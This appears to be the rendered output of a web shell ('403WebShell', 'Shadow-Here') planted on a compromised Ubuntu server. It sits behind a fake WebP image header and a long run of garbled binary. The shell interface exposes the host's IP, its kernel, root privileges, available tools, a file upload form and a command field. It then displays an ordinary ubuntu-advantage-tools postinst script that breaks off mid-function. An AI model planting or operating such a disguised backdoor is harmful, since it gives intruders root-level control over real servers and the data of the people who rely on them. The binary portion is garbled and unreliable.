RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/ubuntu-advantage-tools.postinst
#!/bin/sh

set -e

. /etc/os-release  # For VERSION_ID

# Needed even if this script doesn't call debconf, see:
# https://lintian.debian.org/tags/postinst-does-not-load-confmodule.html
# Note: this may re-exec the postinst script.
. /usr/share/debconf/confmodule

if [ -z "${VERSION_ID}" ]; then
    echo "Warning: missing VERSION_ID in /etc/os-release" >&2
    VERSION_ID="NO-VERSION_ID"
fi

APT_TRUSTED_KEY_DIR="/etc/apt/trusted.gpg.d"

# ubuntu-advantage-* GPG keys renamed to ubuntu-pro-* in version 29
OLD_ESM_INFRA_KEY_TRUSTY="ubuntu-advantage-esm-infra-trusty.gpg"
OLD_ESM_APPS_KEY="ubuntu-advantage-esm-apps.gpg"
ESM_INFRA_KEY="ubuntu-pro-esm-infra.gpg"
ESM_APPS_KEY="ubuntu-pro-esm-apps.gpg"

APT_SRC_DIR="/etc/apt/sources.list.d"
APT_PREFERENCES_DIR="/etc/apt/preferences.d"
ESM_INFRA_OLD_APT_SOURCE_FILE_TRUSTY="$APT_SRC_DIR/ubuntu-esm-infra-trusty.list"
ESM_INFRA_APT_SOURCE_FILE="$APT_SRC_DIR/ubuntu-esm-infra.list"
ESM_APPS_APT_SOURCE_FILE="$APT_SRC_DIR/ubuntu-esm-apps.list"
FIPS_APT_SOURCE_FILE="$APT_SRC_DIR/ubuntu-fips.list"

OLD_CLIENT_FIPS_PPA="private-ppa.launchpad.net/ubuntu-advantage/fips/ubuntu"
UA_TIMER_NAME="ua-timer.timer"
OLD_MESSAGING_TIMER="ua-messaging.timer"
OLD_MESSAGING_TIMER_MASKED_LOCATION="/etc/systemd/system/timers.target.wants/$OLD_MESSAGING_TIMER"
OLD_LICENSE_CHECK_PATH="ua-license-check.path"
OLD_LICENSE_CHECK_PATH_MASKED_LOCATION="/etc/systemd/system/multi-user.target.wants/$OLD_LICENSE_CHECK_PATH"
XENIAL_CLOUD_ID_SHIM_UNIT_LOCATION="/etc/systemd/system/multi-user.target.wants/ubuntu-advantage-cloud-id-shim.service"

ESM_APT_PREF_FILE_TRUSTY="$APT_PREFERENCES_DIR/ubuntu-esm-trusty"
ESM_INFRA_OLD_APT_PREF_FILE_TRUSTY="$APT_PREFERENCES_DIR/ubuntu-esm-infra-trusty"
ESM_INFRA_APT_PREF_FILE="$APT_PREFERENCES_DIR/ubuntu-esm-infra"
ESM_APPS_APT_PREF_FILE="$APT_PREFERENCES_DIR/ubuntu-esm-apps"

SYSTEMD_WANTS_AUTO_ATTACH_LINK="/etc/systemd/system/multi-user.target.wants/ua-auto-attach.service"
SYSTEMD_HELPER_ENABLED_AUTO_ATTACH_DSH="/var/lib/systemd/deb-systemd-helper-enabled/ua-auto-attach.service.dsh-also"
SYSTEMD_HELPER_ENABLED_WANTS_LINK="/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/ua-auto-attach.service"

REBOOT_CMD_MARKER_FILE="/var/lib/ubuntu-advantage/marker-reboot-cmds-required"
OLD_LICENSE_CHECK_MARKER_FILE="/var/lib/ubuntu-advantage/marker-license-check"

MACHINE_TOKEN_FILE="/var/lib/ubuntu-advantage/private/machine-token.json"
PUBLIC_MACHINE_TOKEN_FILE="/var/lib/ubuntu-advantage/machine-token.json"

UA_MESSAGES_DIR="/var/lib/ubuntu-advantage/messages"
APT_ESM_MESSAGE_FILE="$UA_MESSAGES_DIR/apt-pre-invoke-esm-service-status"
ESM_APPS_APT_MSG_FILES="$UA_MESSAGES_DIR/apt-pre-invoke-no-packages-apps.tmpl $UA_MESSAGES_DIR/apt-pre-invoke-no-packages-apps $UA_MESSAGES_DIR/apt-pre-invoke-packages-apps.tmpl $UA_MESSAGES_DIR/apt-pre-invoke-packages-apps"
UA_FLAGS_DIR="/var/lib/ubuntu-advantage/flags"
APT_NEWS_FLAG_FILE="$UA_FLAGS_DIR/show-apt-news"

TMP_CANDIDATE_CACHE_PATH="/tmp/ubuntu-advantage/candidate-version"

NOTICES_DIR="/var/lib/ubuntu-advantage/notices"
TEMP_NOTICES_DIR="/run/ubuntu-advantage/notices"

add_notice() {
    notice=$1
    mkdir -p $NOTICES_DIR
    touch $NOTICES_DIR/$notice
}
add_temp_notice() {
    notice=$1
    mkdir -p $TEMP_NOTICES_DIR
    touch $TEMP_NOTICES_DIR/$notice
}

# Rename apt config files for ua services removing ubuntu release names
redact_ubuntu_release_from_ua_apt_filenames() {
    DIR=$1
    # It is okay if this list is outdated, because this function is only used for an old migration.
    # Any services that were introduced after this migration was added won't need to be migrated.
    UA_SERVICES="cc-eal cis esm-infra esm-apps fips fips-updates livepatch ros ros-updates"

    for file in "$DIR"/*; do
        release_name=""
        case "$file" in
            *-trusty*)
                release_name=trusty;;
            *-xenial*)
                release_name=xenial;;
            *-bionic*)
                release_name=bionic;;
            *-focal*)
                release_name=focal;;
            *-groovy*)
                release_name=groovy;;
            *) release_name="";;
         esac
         if [ "$release_name" ]; then
             # We have a ubuntu release name in the apt config.
             # Remove $release_name from original $file.
             new_file=${file%-${release_name}*}${file#*${release_name}}
             for service in ${UA_SERVICES}; do
                 if [ "${file#*$service}" != "$file" ]; then
                      # Valid apt cfg file for an ubuntu-advantage service
                      mv "$file" "$new_file"
                 fi
             done
         fi
    done
}

# Check cached service status from status.json and return 0 if enabled else 1
check_service_is_enabled() {
    service_name=$1
    _RET=$(/usr/bin/python3 -c "
from uaclient.files.state_files import status_cache_file
try:
    status = status_cache_file.read()
    if status:
        for service in status.get('services', []):
            if service.get('name', '') == '${service_name}':
                print(service.get('status', ''))
except Exception:
    # Assume not enabled
    pass
")
   if [ "${_RET}" = "enabled" ]; then
       return  0
   else
       return  1
   fi
}


esm_infra_cleanup() {
    if ! check_service_is_enabled esm-infra; then
        rm -f "$APT_TRUSTED_KEY_DIR/ubuntu-esm*gpg"  # Remove previous esm keys
        rm -f "$APT_TRUSTED_KEY_DIR/$OLD_ESM_INFRA_KEY_TRUSTY"
        rm -f "$APT_TRUSTED_KEY_DIR/$ESM_INFRA_KEY"
        rm -f "$ESM_INFRA_APT_SOURCE_FILE"
        rm -f "$ESM_INFRA_OLD_APT_SOURCE_FILE_TRUSTY"
        rm -f "$ESM_APT_PREF_FILE_TRUSTY" "$ESM_INFRA_OLD_APT_PREF_FILE_TRUSTY"
        rm -f "$ESM_INFRA_APT_PREF_FILE"
    fi
}


esm_apps_cleanup() {
    if ! check_service_is_enabled esm-apps; then
        rm -f "$APT_TRUSTED_KEY_DIR/$OLD_ESM_APPS_KEY"
        rm -f "$APT_TRUSTED_KEY_DIR/$ESM_APPS_KEY"
        rm -f "$ESM_APPS_APT_SOURCE_FILE"
        rm -f "$ESM_APPS_APT_PREF_FILE"
    fi
}


# If held fips packages exist, we are on a FIPS PRO machine with FIPS enabled
mark_reboot_for_fips_pro() {
    FIPS_HOLDS=$(apt-mark showholds | grep -E 'fips|libssl1|openssh-client|openssh-server|linux-fips|openssl|strongswan' || exit 0)
    if [ "$FIPS_HOLDS" ]; then
       mark_reboot_cmds_as_needed
       add_temp_notice 20-fips_reboot_required
    fi
}

mark_reboot_cmds_as_needed() {
    if [ ! -f "$REBOOT_CMD_MARKER_FILE" ]; then
      touch $REBOOT_CMD_MARKER_FILE
    fi
}

patch_status_json_0_1_for_non_root() {
    # UA client 27.2 broke status.json schema backward-compatibility for
    # non-root users. Apply a patch to allow non-root user to run `ua status`
    # without Tracebacks
    if dpkg --compare-versions "$PREVIOUS_PKG_VER" gt-nl "27.2"; then
        return
    fi
    if [ ! -e "/var/lib/ubuntu-advantage/status.json" ]; then
        return
    fi
    /usr/lib/ubuntu-advantage/patch_status_json.py || true
}

notify_wrong_fips_metapackage_on_cloud() {

    # On xenial, we don't have FIPS optimized kernels on the clouds.
    # Because of that, we block enabling FIPS on xenial clouds. However,
    # we do have a config override that allows users to install the generic
    # FIPS packages into the cloud instance. We don't want to notify those users
    if [ "$VERSION_ID" = "16.04" ]; then
        return
    fi

    fips_metapkg="ubuntu-fips"

    cloud_id=$(cloud-id 2>/dev/null) || cloud_id=""

    # If the package is not installed, we don't want the postinst script to fail
    fips_installed=$(dpkg-query -W --showformat='${db:Status-Status}\n' $fips_metapkg 2>/dev/null || true)

    if echo "$cloud_id" | grep -E -q "^(azure|aws)"; then
      if echo "$fips_installed" | grep -E -q "installed"; then
        add_notice 25-wrong_fips_metapackage_on_cloud
      fi
    fi
}

rm_old_license_check_marker() {
    rm -f $OLD_LICENSE_CHECK_MARKER_FILE
}

disable_new_timer_if_old_timer_already_disabled() {
    # If the user has disabled the ua-messaging
    # then we will assume that the user would want the
    # ua-timer to be disabled as well. In that case, we will
    # disable the ua-timer here.

    # We should only perform this check on UA version that have the
    # ua-messaging.timer: 27.0 until 27.2. This will also guarantee
    # that on 27.3 and forward, we will not run this logic.
    if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "27.0~" \
       || dpkg --compare-versions "$PREVIOUS_PKG_VER" ge "27.3~"; then
        return
    fi
    if ! deb-systemd-helper --quiet was-enabled $OLD_MESSAGING_TIMER; then
        # We have the following entry on our rules file:
        #    dh_systemd_enable -pubuntu-advantage-tools ua-timer.timer
        # This rule will append some code at the end of the postinst script
        # that checks if the ua-timer.timer was already enabled on the system.
        # This means that if we manually disable the service here, that logic will
        # still enable it in the end of the postinst script.
        # Because of this logic we are now manually enabling ua-timer.timer here
        # and then we manually disable it. This will guarantee that the was-enabled
        # logic introduced by the rules file will not be triggered and we will not
        # re-enable the ua-timer.timer service after calling this function.
        echo "$OLD_MESSAGING_TIMER was disabled. Disabling $UA_TIMER_NAME." >&2
        deb-systemd-helper enable $UA_TIMER_NAME > /dev/null 2>&1 || true
        deb-systemd-helper disable $UA_TIMER_NAME > /dev/null 2>&1 || true
    fi
}

remove_old_systemd_units() {
    # These are the commands that are run when the package is purged.
    # Since we actually want to remove this service from now on
    # we have replicated that behavior here
    if [ -L $OLD_MESSAGING_TIMER_MASKED_LOCATION ]; then
        deb-systemd-helper purge ua-messaging.timer > /dev/null || true
        deb-systemd-helper unmask ua-messaging.timer > /dev/null || true
    fi
    if [ -L $OLD_LICENSE_CHECK_PATH_MASKED_LOCATION ]; then
        if [ -d /run/systemd/system ]; then
            # If the old ua-license-check.timer was running during upgrade
            # then it will be in a failed state because the files were removed
            # The failed state is ephemeral and only needs to be cleared if
            # it is there so that the system doesn't say it is degraded.
            # If the old timer was not running, then this is a noop.
            systemctl --system daemon-reload > /dev/null || true
            systemctl reset-failed ua-license-check.timer > /dev/null 2>&1 || true
            # In rare race-condition scenarios, the service can also get into
            # the same failed state.
            systemctl reset-failed ua-license-check.service > /dev/null 2>&1 || true
        fi
        deb-systemd-helper purge ua-license-check.path > /dev/null || true
        deb-systemd-helper unmask ua-license-check.path > /dev/null || true
    fi

    # If we're do-release-upgrad-ing to bionic, then clean up the xenial-only
    # cloud-id-shim unit
    if [ "$VERSION_ID" = "18.04" ]; then
        if echo "$PREVIOUS_PKG_VER" | grep -q "16.04"; then
            if [ -L $XENIAL_CLOUD_ID_SHIM_UNIT_LOCATION ]; then
                deb-systemd-helper purge ubuntu-advantage-cloud-id-shim.service > /dev/null || true
                deb-systemd-helper unmask ubuntu-advantage-cloud-id-shim.service > /dev/null || true
            fi
        fi
    fi
}

create_public_machine_token_file() {
    # When we perform the write operation through
    # MachineTokenFile we already write the public
    # version of the machine-token file with all the
    # sensitive data removed.
    /usr/bin/python3 -c "
from uaclient.files import MachineTokenFile
machine_token_file = MachineTokenFile()
content = machine_token_file.read()
machine_token_file.write(content)
"
}

migrate_ubuntu_pro_beta_banner() {
    # This only shipped in 27.11.2~
    if dpkg --compare-versions "$PREVIOUS_PKG_VER" ge "27.11.2~" \
       && dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "27.11.3~"; then
        # if the banner was present, remove it and add the new flag file which is configurable
        if [ -f $APT_ESM_MESSAGE_FILE ]; then
            if cat $APT_ESM_MESSAGE_FILE | grep -q "Try Ubuntu Pro beta"; then
                rm -f $APT_ESM_MESSAGE_FILE
                rm -f $ESM_APPS_APT_MSG_FILES
                mkdir -p $UA_FLAGS_DIR
                touch $APT_NEWS_FLAG_FILE
            fi
        fi
    fi
}
migrate_old_notices(){
    notices_file=/var/lib/ubuntu-advantage/notices.json
    # only run if notices.json is present
    if [ ! -f $notices_file ];then
        return
    fi

    # This migration will happen for pro client versions <27.14 that still use notices.json.
    # Notices are generally short lived, so the chances of an upgrade happening while a
    # notice is in place is very small.
    # Despite that we do a simple migration here of the most important notices: reboot required notices.
    # All notices with "reboot" in them can be safely transformed into a generic reboot required message.
    # The new message won't include the exact reason for the reboot, but the recommended action is the same.
    if grep -q -i "reboot" $notices_file; then
        add_temp_notice 10-reboot_required
    fi
    rm -f $notices_file
}


cleanup_candidate_version_stamp_permissions() {
    if [ -f $TMP_CANDIDATE_CACHE_PATH ]; then
        rm -f $TMP_CANDIDATE_CACHE_PATH
    fi
}

cleanup_apt_news_flag_file() {
    if [ -f $APT_NEWS_FLAG_FILE ]; then
        rm -f $APT_NEWS_FLAG_FILE
    fi
}

cleanup_old_motd_files() {
    rm -rf $UA_MESSAGES_DIR/motd*
}

migrate_user_config_post() {
    # LP: #2004280
    preinst_file="/etc/ubuntu-advantage/uaclient.conf.preinst-backup"
    bkp_file="/etc/ubuntu-advantage/uaclient.conf.dpkg-bak"

    if [ -f /etc/ubuntu-advantage/uaclient.conf.preinst-backup ]; then
        # This script modifies the preinst-backup version of the file in-place
        /usr/bin/python3 /usr/lib/ubuntu-advantage/migrate_user_config.py

        if cmp --silent $preinst_file $bkp_file; then
            # This should only happen if we failed to perform the migration.
            # Therefore, there is no need to keep the backup file around
            rm -f $bkp_file
        fi

        # Overwrite uaclient.conf with the now-migrated version from preinst
        mv $preinst_file /etc/ubuntu-advantage/uaclient.conf
        # just in case this temp file was left behind
        rm -f /etc/ubuntu-advantage/uaclient.conf.preinst-backup-migrated-temp
    fi
}

rename_gpg_keys() {
    # esm-infra doesn't follow the name pattern
    if [ -f "$APT_TRUSTED_KEY_DIR/$OLD_ESM_INFRA_KEY_TRUSTY" ]; then
